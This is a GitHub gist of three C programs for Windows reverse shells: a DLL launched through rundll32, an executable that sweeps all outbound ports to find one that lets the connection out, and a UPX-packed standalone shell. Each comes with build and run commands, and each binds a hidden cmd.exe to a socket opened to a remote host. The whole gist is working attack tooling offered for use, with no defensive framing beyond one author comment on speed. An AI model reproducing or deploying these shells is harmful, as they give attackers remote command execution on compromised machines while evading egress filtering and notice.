Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Last active July 8, 2021 17:24
Show Gist options
  • Save FrankSpierings/4f3c4c8c6034f3927e8a63055b1ce8cb to your computer and use it in GitHub Desktop.
Save FrankSpierings/4f3c4c8c6034f3927e8a63055b1ce8cb to your computer and use it in GitHub Desktop.
Windows Reverse Shell in C
/*
Compile:
docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 && i686-w64-mingw32-gcc -O3 -s shell-dll.c -lws2_32 -shared -o shell.dll"
Run:
rundll32 shell.dll,main 127.0.0.1 4444 cmd.exe
*/
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
int main(HWND hwnd, HINSTANCE hinst, char* cmdline, int nCmdShow)
{
int MAXARGS = 3;
int argc = 0;
char* argv[MAXARGS];
char* token = cmdline;
while ((token = strtok(token, " ")) != NULL && argc < MAXARGS)
{
argv[argc++] = token;
token = NULL;
}
if (argc < 3) {
return -1;
}
char* ip = argv[0];
unsigned int port = atoi(argv[1]);
char* cmd = argv[2];
WSADATA WSAData;
SOCKET client;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port = htons(port);
if (connect(client, (SOCKADDR*)& addr, sizeof(addr))) {
return -1;
}
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)client;
si.hStdOutput = (HANDLE)client;
si.hStdError = (HANDLE)client;
PROCESS_INFORMATION pi;
if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
}
closesocket(client);
WSACleanup();
return 0;
}
/*
Compile:
docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 && i686-w64-mingw32-gcc -O3 -s shell-port-finder.c -lws2_32 -o shell-port-finder.exe"
Run:
shell-port-finder.exe 127.0.0.1 cmd.exe
*/
#include <winsock2.h>
#include <process.h>
#include <synchapi.h>
#include <ws2tcpip.h>
#include <stdio.h>
#define MAXPORTS 65535
#define TIMEOUT 1
#define THREADS 1000
HANDLE portMutex;
unsigned int gport = 0;
char *ip;
char *cmd;
typedef struct JOB{
int nr;
} JOB;
void p(JOB* job) {
unsigned int port;
while (TRUE) {
WaitForSingleObject(portMutex, INFINITE);
if (gport >= MAXPORTS) {
printf("[%04d] Reached maxports %05d\n", job->nr, gport);
return;
}
else {
port = gport++;
}
ReleaseMutex(portMutex);
SOCKET sock;
SOCKADDR_IN addr;
unsigned long mode;
TIMEVAL tv;
tv.tv_sec = TIMEOUT;
tv.tv_usec = 0;
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port = htons(port);
mode = 1;
ioctlsocket(sock, FIONBIO, &mode);
printf("[%04d] Connecting %s:%d\n", job->nr, ip, port);
connect(sock, (SOCKADDR*) &addr, sizeof(addr));
mode = 0;
ioctlsocket(sock, FIONBIO, &mode);
fd_set fd_read, fd_error, fd_write;
FD_ZERO(&fd_read);
FD_ZERO(&fd_error);
FD_ZERO(&fd_write);
FD_SET(sock, &fd_read);
FD_SET(sock, &fd_error);
FD_SET(sock, &fd_write);
select(0, &fd_read, &fd_write, &fd_error, &tv);
int e = FD_ISSET(sock, &fd_error);
int r = FD_ISSET(sock, &fd_read);
int w = FD_ISSET(sock, &fd_write);
if ((r || w) && !e) {
printf("[%04d] Success %s:%d (r:%d,w:%d,e:%d)\n", job->nr, ip, port, r, w, e);
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)sock;
si.hStdOutput = (HANDLE)sock;
si.hStdError = (HANDLE)sock;
PROCESS_INFORMATION pi;
if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
}
}
else if (!r && !w && !e){
printf("[%04d] Timeout (%ds) %s:%d (r:%d,w:%d,e:%d)\n", job->nr, TIMEOUT, ip, port, r, w, e);
}
else {
printf("[%04d] Error %s:%d (r:%d,w:%d,e:%d)\n", job->nr, ip, port, r, w, e);
}
}
}
int main(int argc, char* argv[])
{
HANDLE threads[THREADS];
portMutex = CreateMutex( NULL, FALSE, NULL);
WSADATA WSAData;
WSAStartup(MAKEWORD(2, 0), &WSAData);
if (argc < 3) {
printf("Missing arguments\n");
return -1;
}
ip = argv[1];
cmd = argv[2];
for (int i=0; i<THREADS; i++) {
struct JOB *job = malloc (sizeof (struct JOB));
job->nr = i;
threads[i] = (HANDLE) _beginthread((void(*)(void*)) p, 0, (void*) job);
if (threads[i] < 0) {
return -1;
printf("Failed to allocate a thread \n");
}
}
for (int i=0; i<THREADS; i++) {
WaitForSingleObject(threads[i], INFINITE);
}
WSACleanup();
return 0;
}
// docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 upx && i686-w64-mingw32-gcc -O3 -s shell.c -lws2_32 -o shell.exe; upx --ultra-brute shell.exe"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
int main(int argc, char* argv[])
{
if (argc < 4) {
printf("Missing arguments\n");
return -1;
}
char* ip = argv[1];
unsigned int port = atoi(argv[2]);
char* cmd = argv[3];
printf("Connecting to %s:%d starting %s\n", ip, port, cmd);
WSADATA WSAData;
SOCKET client;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_port = htons(port);
if (connect(client, (SOCKADDR*)& addr, sizeof(addr))) {
printf("Could not connect\n");
return -1;
}
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)client;
si.hStdOutput = (HANDLE)client;
si.hStdError = (HANDLE)client;
PROCESS_INFORMATION pi;
if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
}
closesocket(client);
WSACleanup();
printf("Done\n");
return 0;
}
@FrankSpierings
Copy link
Author

The port finder version still sucks, since it waits for the full 20 second timeout.... work in progress

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment